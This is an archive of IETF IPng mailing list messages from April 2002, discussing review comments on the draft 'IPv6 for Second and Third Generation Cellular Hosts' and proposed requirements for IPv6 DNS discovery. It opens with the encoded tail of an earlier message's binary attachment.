AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMyLWJpdCB0aHVuayBm b3IgVW5pbW9kZW0AAAD/dCQI/3QkCGhYIIN/aEwgg3/oSQIAAIP4ARvAQMIMAFWL7IHsAAEA AFaNhQD///9oACCDf1D/FdQwg3//dQiNhQD///9Q/xXQMIN/agCNjQD///9oAAAAQGoDagBq AGgAAADAUf8VzDCDf4P4/4vwuG4AAAB0RGgAEAAAaAAQAABW/xXIMIN//3Uc/3UYVv8VxDCD f/8VwDCDf4tNFGoOVokB/xW8MIN/i00QVokB6LwEAACLTQyJATPAXovlXcIYAFWL7IPsBFb/ dQxqAGpA/xXkMIN/i/BqAmoAjUX8agBQ/xXgMIN/UP91CFb/Fdwwg39W/xXYMIN/i0X8Xovl XcIIAFWL7IHsEAEAAFZXagBqAGoAagD/Fewwg3+L8IX2dGlW6EcEAACLfRBWizXYMIN/iQf/ 1v91CP91DP83aGQgg3+NhfD+//9Q/xUsMYN/g8QUjU3wUWgIIIN/agCNlfD+//9qAGoAagBq AGoAUmoA/xXoMIN/hcB1DP83/9bHBwAAAADrBDPA6wW4bgAAAF9ei+VdwgwAi0QkCIXAdAdQ /xXwMIN//3QkBP8V2DCDf8IIAFWL7FZXvgEAAAD/dQz/dQjo+P7//4v4hf90OYN9GAB0D/91 FP91EFf/FcQwg3+L8IX2dBCNRRRQ/3UQV/8V+DCDf4vwV/8V2DCDf7gAAAAAhfZ1Bv8VuDCD f19eXcIUAMzMzL0Sg3/WEoN/6hKDfwYTg39WE4N/bRODf7ITg38CFIN/SBSDf44Ug3+tFIN/ zBSDfxUVg391bWRtVGhrX1RodW5rRGF0YTE2AFpoaBKDf2h8IIN/UukdAwAALovAsQSL5cMu i8CxCIvlwy6LwLEKi+XDLovAsQyL5cMui8CxEovlwy6LwLEYi+XD/3MW6PECAADo+AIAAOj5 AgAAi9DBwhDruv9zFujYAgAA6K8CAADo4AIAAOum/3MW/3Ma6MECAADowgIAAOjJAgAAi9DB whDrkjPAUFCLQxaJBCRQ6MQCAABQD79D --Wo3lQyRLMoO9-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 26 15:05:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QM5kGs019839; Fri, 26 Apr 2002 15:05:46 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3QM5kVH019837; Fri, 26 Apr 2002 15:05:46 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QM5fGs019819 for ; Fri, 26 Apr 2002 15:05:41 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA18851 for ; Fri, 26 Apr 2002 15:05:43 -0700 (PDT) Received: from mhs99ykf.rim.net (c109.rim.net [206.51.26.109]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA26747 for ; Fri, 26 Apr 2002 16:05:42 -0600 (MDT) Received: from ngw04ykf.rim.net (ngw04ykf.rim.net [10.102.100.115]) by mhs99ykf.rim.net (Postfix) with SMTP id 77FECB4862 for ; Fri, 26 Apr 2002 18:05:36 -0400 (EDT) Received: from PGS02YKF.rim.net ([10.101.20.231]) by ngw04ykf.rim.net (NAVGW 2.5.2.9) with SMTP id M2002042618053701225 for ; Fri, 26 Apr 2002 18:05:38 -0400 Received: from xch02ykf.rim.net [10.101.20.37] by PGS02YKF.rim.net [10.101.20.231] (CMSPraetor 5.10.4411) with ESMTP id 1B9032A68ED44ECEBB3D2F11610DAAFD for ; Fri, 26 Apr 2002 18:05:31 -0400 Received: by xch02ykf.rim.net with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Apr 2002 18:05:31 -0400 Message-ID: <05BEA41254F24A4CBA66E811CDD3AD9C0265F5BA@xch08ykf> From: Craig Dunk To: ipng@sunroof.eng.sun.com Subject: RE: Review comments on IPv6 for Second and Third Generation Cellu lar Hosts Date: Fri, 26 Apr 2002 18:05:31 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I wanted to verify I understand the models that are being used in the recommendation and ask about some parallels. The draft recommends the GGSN assigning 64 bit prefixes to devices. For a single mobile device this amounts to creating a link scope with only one device on it. Would it be fair to say this is the source of the "you can ignore DAD" arguments? Additionally, if the device is going to have multiple identities (someone has used the Bluetooth Personal Area Network example) all of these will be effectively going through the device that has the gprs protocols, which means that it has taken on a sort of router function: Like a home network with a router hooked up over a dialup connection? Some questions: -is this similar to the idea of zero config home router set up (again the home network analogy). and can the solution proposed within be applied to that situation or can some common solution apply? -some elements of the gprs network were correctly considered a "given" for this recommendation. Is there any reasonable opportunity to engage in other, higher impact, longer term discussions about opportunities and applicability of moving to a v6 core network (perhaps even engage in dialog on the applicability of mobileipv6?). It seems to me that pdp contexts create kind of a "circuit" in an otherwise packet switched network and ipng expertise may be able to assist with information on how to apply ipv6 technology to get the desired effects as 3GPP attempts to move to an IP core network. -some of the optimizations (e.g. DAD removal) will presumably not be available in the case of the laptop connecting to a device where the device acts just as a provider of the link layer unless the laptop protocol stack is explicitly aware of the link technology? Is that true? -Would a way to avoid 3GPP appearing to be a special case to try to converge it with PPP in its approaches? That might mean that solutions that apply to ppp or gprs could be applied more generally to both and it might address comments like: > > DAD is not an optional part of Stateless Address Autoconfiguration, > > and it should not be considered optional for cellular hosts. > > If you really believe that DAD should be optional for some link > > types, we need to re-visit the Stateless Autoconfiguration spec. > > We should not just declare DAD to be optional here. > >I think we (the authors) need to do some thinking on this, as there >is the feeling that 2462 does not apply to the 3GPP network, but >I guess you feel strongly that it does. > As mentioned above, would it be fair to say stateless is only approximately stateless since prefixes are being statefully distributed and there is only one device using that prefix (or in more elaborate cases where there are multiple addresses or devices that a single device is managing the allocation within that prefix). Craig. -----Original Message----- From: Margaret Wasserman [mailto:mrw@windriver.com] Sent: April 26, 2002 8:12 AM To: ipng@sunroof.eng.sun.com Subject: Review comments on IPv6 for Second and Third Generation Cellular Hosts Hi All, I've attached my comments on "IPv6 for Second and Third Generation Cellular Hosts" with responses from John Loughney. This came out of a more private discussion, but John and I both thought it would be useful to send this to the whole list. Margaret >From: john.loughney@nokia.com >Subject: RE: Preview of IPv6 for Second and Third Generation Cellular Hosts >Date: Fri, 26 Apr 2002 10:42:40 +0300 >Margaret, > >I've been creating a list of issues raised here & possible resolutions - >I hope you send this (or a version) to the list so I can answer there. > >Trimming the recipient list ... > > > General Comment: Document needs some text editing, particularly to > > eliminate run-on sentences and poorly formed paragraphs. > >Can do (I usually save this kind of editing for last ..) > > > Technical Comments: > > > > Section 1.1: > > > > This section should explicitly state that this document is not > > a standard and is not intended to modify the existing IPv6 > > standards. > >Will do. > > > Section 2.1: > > > > Path MTU discovery is a mechanism to save bandwidth, so it may > > be very desireable to implement for cellular hosts. > >Will add text about this, suggesting this with comments. > > > Section 2.4.1: > > > > Neighbor Solicitations and Neighbor Advertisements are not optional > > parts of Neighbor Discovery, and they should not be considered optional > > for cellular hosts. Cellular hosts should implement all of the > > required portions of ND, and use the state machine described in > > the ND specification. If you really believe that these parts of > > ND should be optional, then the ND spec should be re-visited. We > > should not just declare them optional here. > > > > The link layer sub option is link-specific, and it is fine that it > > does not apply to this type of link. > >This we need to add clarifying text as why we think using NA & NS may >be optional in some cases. Hopefully you can comment on this >after we write the text. > > > Section 2.5.1: > > > > DAD is not an optional part of Stateless Address Autoconfiguration, > > and it should not be considered optional for cellular hosts. > > If you really believe that DAD should be optional for some link > > types, we need to re-visit the Stateless Autoconfiguration spec. > > We should not just declare DAD to be optional here. > >I think we (the authors) need to do some thinking on this, as there >is the feeling that 2462 does not apply to the 3GPP network, but >I guess you feel strongly that it does. > > > Section 2.7.1: > > > > The document says: > > > > "To avoid any duplication in link-local addresses > > between the TE and the GGSN, the MT must always reject other > > suggested interface identifiers by the TE. This results in the TE > > always using the interface identifier suggested by the GGSN for its > > link-local address." > > > > What does this mean? I thought that laptops would be able > > to generate privacy addresses using randomly allocated identifiers. > > If not, we have a serious problem. Is this done to avoid the > > need for DAD? > >We may need to fix this text, I think it is not quite right. > > > Section 2.11 (and 2.13): > > > > The document says: > > > > "Cellular hosts should not support configured or automatic > > tunnels to avoid unnecessary tunneling over the air interface." > > > > Why would we want to make this recommendation? There may be > > good reasons for tunneling over the air interface. > >We need to fix the text, we intend to say that tunneling should be >avoided, as it may waste bandwidth - especially if there are other >mechanisms available. > > > Section 2.14: > > > > The document says: > > > > "The Dynamic Host Configuration Protocol for IPv6 [DHCPv6] may be > > used. DHCPv6 is not needed when IPv6 stateless > > autoconfiguration is > > used, and no other functions of DHCPv6 are used." > > > > I don't understand this paragraph. Can a cellular host use DHCP > > to get it address(es)? I would think DHCP would only be useful on > > a cellular host for other types of information. > >We will fix this, stating that DHCPv6 is not needed for stateless auto. >config, but may be useful for configuring othyer types of info. > >Thanks, >John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 26 15:39:23 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QMdNGs025465; Fri, 26 Apr 2002 15:39:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3QMdMpu025464; Fri, 26 Apr 2002 15:39:22 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QMdJGs025457 for ; Fri, 26 Apr 2002 15:39:19 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04747 for ; Fri, 26 Apr 2002 15:39:20 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA21396 for ; Fri, 26 Apr 2002 16:39:19 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA07993; Fri, 26 Apr 2002 15:39:14 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3QMdBC28430; Fri, 26 Apr 2002 15:39:11 -0700 X-mProtect: <200204262239> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpd4C1oWp; Fri, 26 Apr 2002 15:39:08 PDT Message-Id: <4.3.2.7.2.20020426153458.0204bcd0@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 26 Apr 2002 15:38:35 -0700 To: Rob Austein From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob, Sorry for not responding sooner. The emphasis in the definition is "with out any dependence on resources other than are needed". This would allow relay agents in routers or DHCP servers in DNS servers. There are issues raised in solutions like this to insure that the co-located services are adequately tied together. For example in case of a "DHCP server in the DNS server" the processes need to be tied together in a manner that the DHCP process would not provide the address of the DNS server if the DNS server process was down. Or that the DHCP server not provide the addresses for other DNS serves unless it knows that they are up and available. So I think the examples you raised do fit with the definition. My intent was that the requirements should allow for a of number different solutions. Picking a specific solution requires evaluating the strengths and weaknesses of the specific solution. I think this falls into the "Desirable aspects" part of the text, as opposed to the basic requirement. Bob >However, since you did ask a direct question, I'll try to answer it. > > > For this requirement, Server-less is defined to mean the DNS > > information is learned with out any dependence on resources other > > than are needed (i.e., links, interfaces, routers, and DNS server) > > to communicate with the DNS server. > >Comments: > > The term "DNS server" is not well defined at the level of detail > that this problem statement requires. Is an entity that implements > both the DNS server role and portions of the DHCP server role a "DNS > server" within the meaning of this definition? > > The term "router" is not well defined at the level of detail that > this problem statement requires. Eg, would DHCP relay agents > co-resident with routers be parts of the routers within the meaning > of this definition? > >In all seriousness: I can't tell you whether I agree with your >statement of the problem until I know what what the words mean. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 28 00:41:35 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3S7fZrP028215; Sun, 28 Apr 2002 00:41:35 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3S7fZbi028214; Sun, 28 Apr 2002 00:41:35 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3S7fWrP028207 for ; Sun, 28 Apr 2002 00:41:32 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA15929 for ; Sun, 28 Apr 2002 00:41:32 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA10694 for ; Sun, 28 Apr 2002 01:41:30 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 010541C30 for ; Sun, 28 Apr 2002 03:41:28 -0400 (EDT) Date: Sun, 28 Apr 2002 03:41:28 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020426153458.0204bcd0@mailhost.iprg.nokia.com> References: <4.3.2.7.2.20020426153458.0204bcd0@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020428074129.010541C30@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Fri, 26 Apr 2002 15:38:35 -0700, Bob Hinden wrote: > > There are issues raised in solutions like this to insure that the > co-located services are adequately tied together. For example in case of a > "DHCP server in the DNS server" the processes need to be tied together in a > manner that the DHCP process would not provide the address of the DNS > server if the DNS server process was down. Or that the DHCP server not > provide the addresses for other DNS serves unless it knows that they are up > and available. I suspect that upon close examination all solutions will have issues along these lines (anycast certainly does). In any case, I agree that such issues are part of the analysis. > So I think the examples you raised do fit with the definition. My intent > was that the requirements should allow for a of number different > solutions. Picking a specific solution requires evaluating the strengths > and weaknesses of the specific solution. Ok, thanks. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 28 21:08:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T48irP029550; Sun, 28 Apr 2002 21:08:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3T48iOk029549; Sun, 28 Apr 2002 21:08:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T48frP029542 for ; Sun, 28 Apr 2002 21:08:41 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA18127 for ; Sun, 28 Apr 2002 21:08:43 -0700 (PDT) Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA03559 for ; Sun, 28 Apr 2002 22:08:42 -0600 (MDT) Received: from tayexg12.americas.cpqcorp.net (tayexg12.americas.cpqcorp.net [16.103.130.103]) by zmamail03.zma.compaq.com (Postfix) with ESMTP id E1C688C68 for ; Mon, 29 Apr 2002 00:08:41 -0400 (EDT) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg12.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Mon, 29 Apr 2002 00:08:41 -0400 x-mimeole: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Mon, 29 Apr 2002 00:08:41 -0400 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B01A9B40E@tayexc13.americas.cpqcorp.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Proposed IPv6 DNS Discovery Requirements Thread-Index: AcHuiM46o1uv9oGCQ8+gRvHnB8anqQAqNnZw From: "Bound, Jim" To: X-OriginalArrivalTime: 29 Apr 2002 04:08:41.0973 (UTC) FILETIME=[8C536250:01C1EF33] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3T48frP029543 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Folks, I worked on this design team. Many of these issues came up and they are coming up again. The draft you see is the design team and IETF meeting discussion. It is good to get this right. The driver for this design team and this work was to develop a very quick IETF tracked spec that could also be delivered to the market quickly. The reason was that clients required the DNS parts we are all discussing. But I think some very important questions have been raised.But with what I say below does not change the market requirement and that should be somewhere in the requirements doc to so all understand the assumptions the design team was under to develop a fast and quick solution. I do think we need to revmove the wording of "serverless" or "server" as Rob and Thomas have pointed out real technology and I believe market issues with such terminology. I do think Ralph provided some new reqs we did not discuss in the design team that need to be part of the reqs doc per his exchange with Keith. And configuration is pretty important and how many ways do we get to do it with IPv6 ?????????? I am also very concerned about the use of anycast for servers? I believe we can do it but right now our address arch spec says no way for anything but routers using anycast addresses and the issues Itojun has pointed out in his work on anycast. I think we do need to revisit the entire purpose of the "O" bit and I think now it should be deprecated. It will also make building a dhcp for IPv6 client much easier. The dhcp for Ipv6 work is in very good shape. More on that below. One proposed solution I supported with Bob which did not make it was using RAs to send the node DNS Server related information so the client could connect to the DNS. But now we do have dhcp for IPv6 and implementations underway and the Information Request option can be built very lightweight to support DNS and some other pieces very well colocated with a Router or DNS Server. There are other options too I won't go into just yet. Or I could drift into a product discussion and thats not for here I hope. Also HP and Linux have working dhcp for IPv6 code running and others are in process for real implementation input. Lastly I am not clear cellular hosts won't want the dhcp for IPv6 process or application (Rob made a good technical and philosophical point about this too and both are part of our process) instead of stateless in many situations. regards, /jim > -----Original Message----- > From: Rob Austein [mailto:sra+ipng@hactrn.net] > Sent: Sunday, April 28, 2002 3:41 AM > To: ipng@sunroof.eng.sun.com > Subject: Re: Proposed IPv6 DNS Discovery Requirements > > > At Fri, 26 Apr 2002 15:38:35 -0700, Bob Hinden wrote: > > > > There are issues raised in solutions like this to insure that the > > co-located services are adequately tied together. For > example in case of a > > "DHCP server in the DNS server" the processes need to be > tied together in a > > manner that the DHCP process would not provide the address > of the DNS > > server if the DNS server process was down. Or that the > DHCP server not > > provide the addresses for other DNS serves unless it knows > that they are up > > and available. > > I suspect that upon close examination all solutions will have issues > along these lines (anycast certainly does). > > In any case, I agree that such issues are part of the analysis. > > > So I think the examples you raised do fit with the > definition. My intent > > was that the requirements should allow for a of number different > > solutions. Picking a specific solution requires evaluating > the strengths > > and weaknesses of the specific solution. > > Ok, thanks. > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 02:30:52 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T9UqrP000110; Mon, 29 Apr 2002 02:30:52 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3T9Upt7000109; Mon, 29 Apr 2002 02:30:51 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T9UmrP000102 for ; Mon, 29 Apr 2002 02:30:48 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM 